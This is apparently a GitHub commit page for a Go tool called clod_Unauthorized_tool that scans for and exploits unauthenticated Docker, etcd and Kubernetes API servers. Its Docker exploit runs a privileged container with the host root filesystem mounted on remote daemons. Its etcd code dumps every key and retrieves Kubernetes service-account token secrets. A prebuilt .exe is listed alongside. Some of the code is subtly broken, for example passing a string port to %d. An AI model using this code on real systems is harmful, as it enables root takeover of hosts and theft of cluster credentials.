Skip to content

Commit a58795b

Browse files
committed
Initial commit
0 parents  commit a58795b

14 files changed

Lines changed: 1556 additions & 0 deletions

File tree

clod_unauthorized_tool.exe

61.1 MB
Binary file not shown.

go.mod

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
module clod_Unauthorized_tool
2+
3+
go 1.23.1
4+
5+
replace github.com/go-gl/gl => github.com/go-gl/gl v0.0.0-20211210172815-726fda9656d6
6+
7+
require go.etcd.io/etcd/client/v3 v3.5.16
8+
9+
require (
10+
fyne.io/fyne/v2 v2.5.2 // indirect
11+
fyne.io/systray v1.11.0 // indirect
12+
github.com/BurntSushi/toml v1.4.0 // indirect
13+
github.com/akavel/rsrc v0.10.2 // indirect
14+
github.com/coreos/etcd v3.3.27+incompatible // indirect
15+
github.com/coreos/go-semver v0.3.0 // indirect
16+
github.com/coreos/go-systemd v0.0.0-20191104093116-d3cd4ed1dbcf // indirect
17+
github.com/coreos/go-systemd/v22 v22.3.2 // indirect
18+
github.com/coreos/pkg v0.0.0-20240122114842-bbd7aa9bf6fb // indirect
19+
github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect
20+
github.com/davecgh/go-spew v1.1.1 // indirect
21+
github.com/fogleman/gg v1.3.0 // indirect
22+
github.com/fredbi/uri v1.1.0 // indirect
23+
github.com/fsnotify/fsnotify v1.7.0 // indirect
24+
github.com/fyne-io/gl-js v0.0.0-20220119005834-d2da28d9ccfe // indirect
25+
github.com/fyne-io/glfw-js v0.0.0-20240101223322-6e1efdc71b7a // indirect
26+
github.com/fyne-io/image v0.0.0-20220602074514-4956b0afb3d2 // indirect
27+
github.com/go-gl/gl v0.0.0-20211210172815-726fda9656d6 // indirect
28+
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20240506104042-037f3cc74f2a // indirect
29+
github.com/go-ole/go-ole v1.2.6 // indirect
30+
github.com/go-text/render v0.2.0 // indirect
31+
github.com/go-text/typesetting v0.2.0 // indirect
32+
github.com/godbus/dbus/v5 v5.1.0 // indirect
33+
github.com/gogo/protobuf v1.3.2 // indirect
34+
github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0 // indirect
35+
github.com/golang/protobuf v1.5.4 // indirect
36+
github.com/google/uuid v1.3.1 // indirect
37+
github.com/gopherjs/gopherjs v1.17.2 // indirect
38+
github.com/jackmordaunt/icns/v2 v2.2.6 // indirect
39+
github.com/jeandeaual/go-locale v0.0.0-20240223122105-ce5225dcaa49 // indirect
40+
github.com/josephspurrier/goversioninfo v1.4.0 // indirect
41+
github.com/jsummers/gobmp v0.0.0-20151104160322-e2ba15ffa76e // indirect
42+
github.com/lucor/goinfo v0.9.0 // indirect
43+
github.com/mcuadros/go-version v0.0.0-20190830083331-035f6764e8d2 // indirect
44+
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
45+
github.com/nicksnyder/go-i18n/v2 v2.4.0 // indirect
46+
github.com/pmezard/go-difflib v1.0.0 // indirect
47+
github.com/russross/blackfriday/v2 v2.1.0 // indirect
48+
github.com/rymdport/portal v0.2.6 // indirect
49+
github.com/srwiley/oksvg v0.0.0-20221011165216-be6e8873101c // indirect
50+
github.com/srwiley/rasterx v0.0.0-20220730225603-2ab79fcdd4ef // indirect
51+
github.com/stretchr/testify v1.9.0 // indirect
52+
github.com/urfave/cli/v2 v2.4.0 // indirect
53+
github.com/yuin/goldmark v1.7.1 // indirect
54+
go.etcd.io/etcd/api/v3 v3.5.16 // indirect
55+
go.etcd.io/etcd/client/pkg/v3 v3.5.16 // indirect
56+
go.uber.org/atomic v1.7.0 // indirect
57+
go.uber.org/multierr v1.6.0 // indirect
58+
go.uber.org/zap v1.17.0 // indirect
59+
golang.org/x/image v0.18.0 // indirect
60+
golang.org/x/mobile v0.0.0-20231127183840-76ac6878050a // indirect
61+
golang.org/x/mod v0.17.0 // indirect
62+
golang.org/x/net v0.25.0 // indirect
63+
golang.org/x/sync v0.7.0 // indirect
64+
golang.org/x/sys v0.20.0 // indirect
65+
golang.org/x/text v0.16.0 // indirect
66+
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
67+
golang.org/x/tools/go/vcs v0.1.0-deprecated // indirect
68+
google.golang.org/genproto v0.0.0-20230822172742-b8732ec3820d // indirect
69+
google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect
70+
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
71+
google.golang.org/grpc v1.59.0 // indirect
72+
google.golang.org/protobuf v1.33.0 // indirect
73+
gopkg.in/yaml.v3 v3.0.1 // indirect
74+
)

go.sum

Lines changed: 716 additions & 0 deletions
Large diffs are not rendered by default.

internal/docker/Check.go

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package docker
2+
3+
import (
4+
"fmt"
5+
"net/http"
6+
"strings"
7+
"io"
8+
)
9+
10+
func Check(target string) bool {
11+
removeProto := strings.Replace(target, "http://", "", -1)
12+
removeProto = strings.Replace(removeProto, "https://", "", -1)
13+
removeProto = strings.Replace(removeProto, "/version", "", -1)
14+
removeProto = strings.Replace(removeProto, ":2375", "", -1)
15+
16+
url := fmt.Sprintf("http://%s:2375/version", removeProto)
17+
18+
resp, err := http.Get(url)
19+
if err != nil {
20+
fmt.Printf("Error checking %s: %v\n", url, err)
21+
return false
22+
}
23+
defer resp.Body.Close()
24+
25+
body, err := io.ReadAll(resp.Body)
26+
if err != nil {
27+
fmt.Printf("Error reading response from %s: %v\n", url, err)
28+
return false
29+
}
30+
31+
responseText := string(body)
32+
if strings.Contains(responseText, "Docker Engine") || strings.Contains(responseText, "GoVersion") || strings.Contains(responseText, "BuildTime") {
33+
fmt.Printf("[+] Potential -> %s\n", url)
34+
return true
35+
} else {
36+
fmt.Printf("[-] No vulnerability detected -> %s\n", url)
37+
return false
38+
}
39+
}

internal/docker/Exploit.go

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package docker
2+
3+
import (
4+
"fmt"
5+
"os/exec"
6+
"strings"
7+
)
8+
9+
func Exploit(target string) {
10+
removeProto := strings.Replace(target, "http://", "", -1)
11+
removeProto = strings.Replace(removeProto, "https://", "", -1)
12+
removeProto = strings.Replace(removeProto, "www.", "", -1)
13+
removeProto = strings.Replace(removeProto, "/version", "", -1)
14+
removeProto = strings.Replace(removeProto, ":2375", "", -1)
15+
16+
command := fmt.Sprintf("docker -H %s:2375 run --rm -it --privileged --net=host -v /:/mnt alpine /bin/sh -c 'id'", removeProto)
17+
output, err := exec.Command("sh", "-c", command).Output()
18+
if err != nil {
19+
fmt.Printf("Error executing command: %v\n", err)
20+
return
21+
}
22+
23+
if strings.Contains(string(output), "root") {
24+
msg := fmt.Sprintf("[+] exploited -> %s | %s", removeProto, string(output))
25+
fmt.Println(msg)
26+
} else {
27+
msg := fmt.Sprintf("[-] failed -> %s | you can make sure by manual", removeProto)
28+
fmt.Println(msg)
29+
}
30+
}

internal/etcd/Check.go

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
package etcd
2+
3+
import (
4+
"context"
5+
"fmt"
6+
"log"
7+
"net/http"
8+
"regexp"
9+
"strings"
10+
"time"
11+
12+
"go.etcd.io/etcd/client/v3"
13+
)
14+
15+
func EtcdGetToken(ip string, port int) bool {
16+
cfg := clientv3.Config{
17+
Endpoints: []string{fmt.Sprintf("http://%s:%d", ip, port)},
18+
DialTimeout: 5 * time.Second,
19+
}
20+
21+
client, err := clientv3.New(cfg)
22+
if err != nil {
23+
log.Printf("etcd:%s:%d连接失败: %v", ip, port, err)
24+
return false
25+
}
26+
defer client.Close()
27+
28+
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
29+
defer cancel()
30+
31+
resp, err := client.Get(ctx, "", clientv3.WithPrefix())
32+
if err != nil {
33+
log.Printf("etcd攻击失败: %v", err)
34+
return false
35+
}
36+
37+
for _, kv := range resp.Kvs {
38+
if kv.Value != nil {
39+
log.Println("etcd存在未授权访问")
40+
log.Println(string(kv.Value))
41+
if strings.Contains(string(kv.Value), "default-token") {
42+
re := regexp.MustCompile(`default-token-\w{1,5}`)
43+
tokens := re.FindAllString(string(kv.Value), -1)
44+
if len(tokens) > 0 {
45+
token := tokens[0]
46+
log.Printf("发现token: %s", token)
47+
log.Println("尝试获取对应的/registry/secrets/default/token信息")
48+
tokenResp, err := client.Get(ctx, fmt.Sprintf("/registry/secrets/default/%s", token))
49+
if err != nil {
50+
log.Printf("获取token信息失败: %v", err)
51+
continue
52+
}
53+
log.Printf("对应的/registry/secrets/default/token信息数据为: %v", tokenResp.Kvs)
54+
}
55+
}
56+
}
57+
}
58+
59+
return true
60+
}
61+
62+
func Check(targetURL string) bool {
63+
if !strings.HasPrefix(targetURL, "http") {
64+
targetURL = "http://" + targetURL
65+
}
66+
67+
versionURL := fmt.Sprintf("%s/version", targetURL)
68+
log.Println(versionURL)
69+
70+
resp, err := http.Get(versionURL)
71+
if err != nil {
72+
log.Printf("地址访问失败: %v", err)
73+
return false
74+
}
75+
defer resp.Body.Close()
76+
77+
if resp.StatusCode == http.StatusOK {
78+
log.Println("etcd地址存在/version接口,可以继续执行")
79+
parts := strings.Split(targetURL, ":")
80+
etcdIP := parts[1][2:] // Remove "//"
81+
etcdPort := 2379
82+
if len(parts) > 2 {
83+
etcdPort = parsePort(parts[2])
84+
}
85+
log.Printf("etcd_ip为: %s", etcdIP)
86+
log.Printf("etcd_port: %d", etcdPort)
87+
88+
etcdAttackStatus := EtcdGetToken(etcdIP, etcdPort)
89+
if etcdAttackStatus {
90+
log.Printf("%s存在未授权访问攻击", targetURL)
91+
return true
92+
} else {
93+
log.Printf("%s不存在未授权访问攻击", targetURL)
94+
return false
95+
}
96+
} else {
97+
log.Printf("输入的地址不存在/version接口,结束任务")
98+
return false
99+
}
100+
}
101+
102+
func parsePort(portStr string) int {
103+
var port int
104+
fmt.Sscanf(portStr, "%d", &port)
105+
return port
106+
}

internal/etcd/Exploit.go

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
package etcd
2+
3+
import (
4+
"context"
5+
"fmt"
6+
"log"
7+
"time"
8+
"regexp"
9+
"bytes"
10+
"strings"
11+
12+
"go.etcd.io/etcd/client/v3"
13+
)
14+
15+
// Exploit 利用etcd的未授权访问漏洞
16+
func Exploit(targetURL string) bool {
17+
if !strings.HasPrefix(targetURL, "http") {
18+
targetURL = "http://" + targetURL
19+
}
20+
parts := strings.Split(targetURL, ":")
21+
ip := parts[1][2:] // Remove "//"
22+
cfg := clientv3.Config{
23+
Endpoints: []string{fmt.Sprintf("http://%s:%d", ip, "2379")},
24+
DialTimeout: 5 * time.Second,
25+
}
26+
27+
client, err := clientv3.New(cfg)
28+
if err != nil {
29+
log.Printf("etcd:%s:%d连接失败: %v", ip, "2379", err)
30+
return false
31+
}
32+
defer client.Close()
33+
34+
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
35+
defer cancel()
36+
37+
resp, err := client.Get(ctx, "", clientv3.WithPrefix())
38+
if err != nil {
39+
log.Printf("etcd攻击失败: %v", err)
40+
return false
41+
}
42+
43+
for _, kv := range resp.Kvs {
44+
if kv.Value != nil {
45+
log.Println("etcd存在未授权访问")
46+
log.Println(string(kv.Value))
47+
if bytes.Contains(kv.Value, []byte("default-token")) {
48+
re := regexp.MustCompile(`default-token-\w{1,5}`)
49+
tokens := re.FindAll(kv.Value, -1)
50+
if len(tokens) > 0 {
51+
token := string(tokens[0])
52+
log.Printf("发现token: %s", token)
53+
log.Println("尝试获取对应的/registry/secrets/default/token信息")
54+
tokenResp, err := client.Get(ctx, fmt.Sprintf("/registry/secrets/default/%s", token))
55+
if err != nil {
56+
log.Printf("获取token信息失败: %v", err)
57+
continue
58+
}
59+
log.Printf("对应的/registry/secrets/default/token信息数据为: %v", tokenResp.Kvs)
60+
}
61+
}
62+
}
63+
}
64+
65+
return true
66+
}

internal/k8sapiserver/Check.go

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package k8sapiserver
2+
3+
import (
4+
"fmt"
5+
"io"
6+
"log"
7+
"net/http"
8+
"strings"
9+
)
10+
11+
func Check(apiaddr string) bool {
12+
apiURL := fmt.Sprintf("%s/api", apiaddr)
13+
log.Println(apiURL)
14+
15+
resp, err := http.Get(apiURL)
16+
if err != nil {
17+
log.Printf("地址访问失败: %v", err)
18+
return false
19+
}
20+
defer resp.Body.Close()
21+
22+
body, err := io.ReadAll(resp.Body)
23+
if err != nil {
24+
log.Printf("读取响应失败: %v", err)
25+
return false
26+
}
27+
28+
if strings.Contains(string(body), "/api") {
29+
log.Println("congrats, api-server request success.")
30+
return true
31+
} else {
32+
log.Println("完成apiserver请求,但是没有权限访问apiserver")
33+
return false
34+
}
35+
}

0 commit comments

Comments
 (0)